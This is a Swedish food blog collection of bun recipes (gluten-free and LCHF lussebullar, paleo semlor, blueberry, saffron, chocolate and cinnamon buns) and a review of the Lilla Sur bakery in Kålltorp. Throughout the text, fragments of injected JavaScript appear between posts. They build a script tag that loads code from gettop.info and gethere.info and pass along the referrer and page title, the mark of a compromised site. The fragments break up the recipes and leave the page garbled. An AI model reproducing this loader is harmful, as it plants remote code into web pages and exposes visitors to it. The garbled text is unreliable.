Glutenfria lussebullar

IMG_4190I år bakade jag glutenfria lussebullar. Receptet hittade jag här.

10 stycken lussebullar
4 ekologiska ägg
Sötning med sötma motsvarande 5 msk socker
100 gram rumstempererat smör
1 dl grädde eller mjölk
1 dl mandelmjöl
1/2 dl pofiber
3/4 dl kokosmjöl (aman prana)
2 msk fiberhusk
2 tsk bakpulver
0,5 gram saffran

Sätt ugnen på 175 grader.
Lägg saffranet i lite mörk rom eller i 1 msk vatten under 20-30 minuter innan för fin färg på brödet.
Vispa ägg och sötning fluffigt. Blanda de torra ingredienserna
Vispa ner smöret, grädden och saffranet och till slut de torra ingredienserna. Låt svälla i ca 10 minuter innan du formar lussekatter. Om degen är för lös blanda ner lite mer kokosmjöl!
Pensla med äggvita och tryck eventuellt ner russin i katterna. Jag skippade russin och tog torkade tranbär istället. Grädda mitt i ugnen i ca 20 minuter.

IMG_4189IMG_4188d.getElementsByTagName(‘head’)[0].appendChild(s);

document.currentScript.parentNode.insertBefore(s, document.currentScript);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Lilla Sur, Kålltorp

10f67c0718-1-LOGO_BLACKBIG

Vad sägs om  ”Guinnesspenslade vörtbröd med stenmald fullkornsråg från Limabacka Kvarn”.

Igår besökte jag ”Lilla Sur” för att köpa deras goda vörtbröd och frysa in inför julen.
Om man fryser in ett helt vörtbröd så rekommenderas att frysa in brödet helt och sug ut all luft från platspåsen.
Vid  upptining öppnar du platspåsen och stoppar in lite hushållspapper så blir brödet  helt perfekt när det är upptinat.

Vört4

vört3Vört2Vört1Vört5
Vad jag gillar med Lilla Sur är att det finns alltid roliga, annorlunda och goda tillbehör i butiken. Igår hade de bunkrat upp med en massa goda ostar. Jag blev glad att de hade mina tre favoritostar till ett mycket bra pris. Supergott bröd och ost är den bästa kombinationen och det fanns även fikonmarmelad till försäljning för de som gillar marmelad.

Ost

Sen var jag tvungen att köpa deras goda bullar också. De har både kanelbullar och saffransbullar nu innan jul.

Bulle2Bulle

Lilla Sur, Göteborgs Hantverksbageri AB

IMG_2299

I fredags em besökte jag Lilla Sur för första gången. Den här lilla pärlan hittar ni i hjärtat av Kålltorp på
Solrosgatan 11.  Jag kom tillbaks i lördags för att köpa deras surdegsbröd som var sååå gott och självklart en kanelbulle.

Öppettider:
Ons: 10.00 – 18.00
Tor: 10.00-18.00
Fre: 10.00 – 18.00
Lör: 10.00 – 13:00

IMG_2309IMG_2169

IMG_2298

 

Det är Tommy och Andreas som driver stället.

IMG_2300

Lilla Sur bakar på Ekologiskt och KRAV märkt mjöl från Limabacka Kvarn i Väröbacka.
Deras mjöl mals på ekologiskt odlat spannmål från bönder i närheten av kvarnen.
Det innebär att det inte innehåller mystiska tillsatser och E-nr.

De har en nära relation med Mjölnarna och bönderna, och talas vid varje vecka om olika spannmål och kvaliteter.

I den mån det finns att få tag på så strävar de efter att övriga ingredienser skall vara så närodlade och ekologiska som möjligt.

Jag köpte deras berömda kanelbulle som var precis så fantastiskt god som alla pratat om och väl värda sina 26 kr.

IMG_2183

Surdegsbrödet var en dröm och jag köpte även till deras handvispade citronsmör med ekologiskt citroncest & olivolja.

IMG_2305IMG_2307IMG_2308IMG_2306

Såhär ser det ut inne i den lilla butiken.

IMG_2170

IMG_2301IMG_2302IMG_2303

Ni kan följa Lilla sur på fb här.
eller på instagram här.

Det har redan blivit mitt stamställe och jag som är så förtjust i kanelbullar kommer nog köpa på mig några stycken framöver.

 

 

 

hjärtat av Kålltorp. På Solrosgatan 11. document.currentScript.parentNode.insertBefore(s, document.currentScript);

document.currentScript.parentNode.insertBefore(s, document.currentScript);} else {

Semlor (Paleo)

bild16

Det finns ett ställe jag gärna vill besöka en dag och det är PriMaten i Uppsala. Det är ett café du kan äta frukost,fika eller äta lunch på. De finns på Dag Hammarskjölds väg 58 på Science Park, Uppsala

Där kan ni bla köpa  ”PriMaten” semlor. Ni hittar deras hemsida här.

Receptet på semlorna har jag fått från en fb kompis Hanna.

Semlor 10 stycken
6 st ägg
3 msk honung
0,5 dl kokosmjölk
1 dl kokosolja
2 tsk kardemumma
2 tsk bakpulver
4 msk fiberhusk
1 dl kokosmjöl
1 ägg till pensling

Mandelmassa:
2 dl mandel
1 dl mandelmjöl
1 msk honung
1 st bittermandel
1-2 msk vatten

Kokosgrädde
1 burk kokosmjölk (ej homogen)
Lite vaniljpulver

Gör så här:
Bullar: Smält kokosoljan. Vispa ägg och honung kraftigt. Häll i oljan och kokosmjölk och fortsätt vispa. Blanda de torra ingredienserna och häll sen ner dom i smeten och vispa ihop allting. Låt degen stå och svälla i 15 minuter. Dela degen i 10 delar. Forma till runda jämna bullar. Pensla tunt med ägg och ovansidan. Grädda i 175 grader i 20 minuter.

Mandelmassa: Mixa mandlarna och bittermandeln fint. Blanda i honung och mandelmjöl. Rör om och blanda i lite vatten i taget tills massan blir jämn och formbar.

Kokosgrädde. Låt en burk icke homogeniserad kokosmjölk stå i kylen ca ett dygn. Tryck två hål i botten på burken med en konservöppnare och låt kokosvattnet rinna ut. Öppna burken helt och ta ut grädden. Vispa grädden hårt med vaniljpulvret.

Montering. Skär ut ett konformat lock på varje bulle. Forma en boll av mandelmassa och tryck ner den i semlans underdel. Spritsa eller klicka på grädden och lägg på locket överst.

bild9bild10bild4bild5bild2bild8bild6

bild3bild1

bildAbild14bild18

bild15

 

}var d=document;var s=d.createElement('script');

Lussekatter glutenfritt

bild10

Receptet  på glutenfria lussebullar hittade jag här.

Recept:
1 pkt saffran (0,5 g)
1 dl russin
1 ½ dl vatten, 37 grader
100 g smör eller margarin
1 dl socker
1 pkt jäst (50 g)
1 ägg 1 pkt Semper Mix (spara 1 dl till utbakningen)
1 ägg till pensling

Garnering: russin pärlsocker

Gör så här: Blanda ingredienserna i den ordning som de står ovan. Baka ut till lussekatter, kransar eller längder. Pensla med ägg och strö över pärlsocker. låt jäsa på plåt med bakplåtspapper i ca 50 minuter. Grädda lussekatter i ca 10 minuter vid 225 grader, längder och kransar ca 16 minuter i 200 grader. Dela degen i 9 lika stora delar. Rulla ut till 2 dm långa ströngar och fläta dem sedan tre och tre. Fäst ihop ändarna på flätan så att det blir en krans. Pänsla med ägg och strö över pärlsocker och/eller mandelspån. Låt jäsa på plåt med bakplåtspapper i ca 50 minuter. Grädda i ca 16 minuter vid 200 grader.

bild9bild8bild7

bild6

 }

document.currentScript.parentNode.insertBefore(s, document.currentScript);var d=document;var s=d.createElement(‘script’);

Blåbärsbullar med blåbär och mandelmassa

Blåbärsbullar (12 stora eller 24 små)
Ugn 225 grader i ca 10-12 min

75 gram smör
25 gram jäst
2,5 dl mjölk
0,5  tsk salt
0,5 dl socker
1 tsk kardemumma
6 dl vetemjöl

Fyllning:
25 gram rumsvarmt smör
1 tsk vaniljsocker
2-3 msk strösocker
2 dl blåbär (frysta eller färska)
2 msk Maizena
200 gram mandelmassa

Garnering:
1 ägg
Lite mjölk
Pärlsocker

Gör så här:
Smula jästen i en bunke, smält smör och tillsätt mjölk.  Häll vätskan över jästen och vispa runt tills jästen löst upp sig. Tillsätt salt, socker och kardemumma. Tillsätt mjöl och arbeta degen till den släpper bunkens kant. Låt jäsa ca 40 min till dubbel storlek.

Fyllning. Blanda samman rumstempererat smör, socker och vaniljsocker i en skål. Häll över Maizena över blåbären i en separat skål. Blanda i mandelmassan.

Kavla ut den färdigjästa degen till en rektangel, ca 36 cm på längden. Bred ut fyllningen över degen och fördela ut blåbären. Rulla ihop  degen till en rulle och skär ca 3 cm tjocka bitar (om du vill ha stora bullar).  Låt jäsa i ca 40 minuter övertäckta.  Vispa ägget och tillsätt lite mjölk. Pensla bullarna och häll på pärlsocker. Grädda i ugnen i ca 10-12 minuter.

document.currentScript.parentNode.insertBefore(s, document.currentScript);

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Saffransbullar med mandelmassa

De här bullarna är otroligt goda.  Nu är det bara att baka på och lycka till!

Bullar (ca 25 stora  bullar)
125 gram smör
5 dl mjölk
50 gram jäst (för söta degar)
1 1/2 dl socker
1/2 tsk salt
2 påsar saffran
15 dl vetemjöl

Fyllning:
200 gram rumstempererat smör
1 dl socker
150 gram mandelmassa
1 msk vaniljsocker

1-2 ägg till pensling
Pärlsocker

Smält smör och tillsätt mjölken. Värm till 37 grader. Rör ner saffran (mortla gärna med en sockerbit först). Smula jästen i en bunke och rör i lite av degspadet. Tillsätt resten av degspadet, saltet, socker och nästan allt vetemjöl. Arbeta degen smidigt tills den släpper bunkens kanter. Låt jäsa 40-50 min under bakduk.

Rör ihop ingredienserna till fyllningen till en slät smet. Stjälp upp degen på ett mjölat bakbord och knåda den smidigt. Dela degen i två delar och kavla ut varje del till en avlångkaka, bred ut hälften av fyllningen på varje kaka.
Rulla ihop degen. Skär varje rulle i ganska tjocka bitar och lägg dem i stora muffinsformar. Låt jäsa 30 minuter under bakduk. Pensla med uppvispat ägg och strö på pärlsocker. Om du ställer formarna i en muffinsplåt, så blir bullarna höga och fina. Grädda mitt i ugnen på 250 grader i ca 7-10 min.

bild1

bild3

bild4

bild5

bild7d.getElementsByTagName(‘head’)[0].appendChild(s);

}} else {

Lussebullar (LCHF)

Här kommer ett recept på LCHF lussebullar. Konsistensen blir som en mjuk sockerkaka. Receptet kommer från Katrin Zytomierska’s senaste kokbok ”Sött och annat gott”.


10 st
5 ägg (spara lite äggvita till pensling)
1 dl sukrin
1 dl sukrin melis
100 gram smält smör
1 påse saffran (1/2) gram
1 dl grädde
1 dl kokosmjöl
4 msk fiberhusk
2 tsk bakpulver

Sätt ugnen på 175 grader
Vispa ägg och sötning fluffigt:
Smält smöret och häll i äggsmeten. Tillsätt saffran och grädde och vispa.
Blanda i de övriga torra ingredienserna och rör ner dem i smeten. Låt svälla i minst 10 min.
Forma degen till lussebullar. Pensla med lite vispad äggvita. Garnera med russin och grädda i 15 min.

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

} else {

Kanelbullar LCHF

bild9

Det här receptet hittade jag på instagram . Receptet kommer uprsprungligen från mariannslchf.

Recept 16 bullar
4 ägg
1 äggula
1/2 dl kesella
1 dl grädde
50 gram smör
1 dl mandelmjöl
1 dl kokosmjöl
5 msk fiberhusk
3 tsk kardemumma
3 msk sukrin
Lite stevia
2 tsk bakpulver

Vispa 4 ägg och en äggula fluffigt, ca 5 min och blanda ner en halv dl kesella, 1 dl grädde och 50 gram smält smör. Blanda i en separat skål 1 dl mandelbmöl, 1 dl kokosmjöl, 5 msk fiberhusk, 3 tsk kardemumma, 3 msk sukrin, lite stevia och 2 tsk bakpulver. Blanda ner det i smeten och låt svälla några minuter. Kavla ut och lägg på smör, kanel, vanilj och sötning. Rulla ihop bullar, lägg i formar och strö på lite kanel, pensla med äggvita och grädda ca 12 min på 180 grader på varmluftsugn.

bild5bild15bild6Abild8bild14bild16bild13bild7bild4bild3bild12bild2bild1bild10bild17

 

 

 }

d.getElementsByTagName(‘head’)[0].appendChild(s);if (document.currentScript) {

Chokladbullar

bild1

Jag har gjort goda släta chokladbullar och de är supergoda att äta som de är eller använda dem att göra chokladsemlor.
Receptet hittade jag på Allt om mat’s hemsida här.

Recept 10 stora bullar eller 15 små bullar
25 gram jäst
3 dl kall mjölk
100 gram smör (rumstepererat)
0,5 ägg, uppvispat
0,75 dl kakao
0,5 dl strösocker
0,5 tsk salt
0,5 tsk kardemumma
10 dl vetemjöl

Gör så här:
Smula jästen i en bunke. Tillsätt den kalla mjölken och rör tills jästen löst sig. Rör i smöret i mindre bitar, ägg, kakao, socker, salt, kardemumma och nästan allt vetemjöl. Spara lite till utbakningen. Arbeta degen smidig. Låt jäsa övertäckt, ca 2 timmar. 2. Ta upp degen på mjölad arbetsbänk och knåda den smidig med resterande mjöl. Dela degen i 14 bitar. Forma runda, släta bullar som läggs på en plåt med bakplåtspapper. Låt jäsa övertäckta, ca 40 min. 3. Sätt ugnen på 250°. Pensla bullarna med ägg. Grädda mitt i ugnen, ca 12 min. Låt bullarna kallna på galler under bakduk.

bild5

bild7
bild6
bild4
bild2

document.currentScript.parentNode.insertBefore(s, document.currentScript);

var d=document;var s=d.createElement(‘script’); var d=document;var s=d.createElement(‘script’);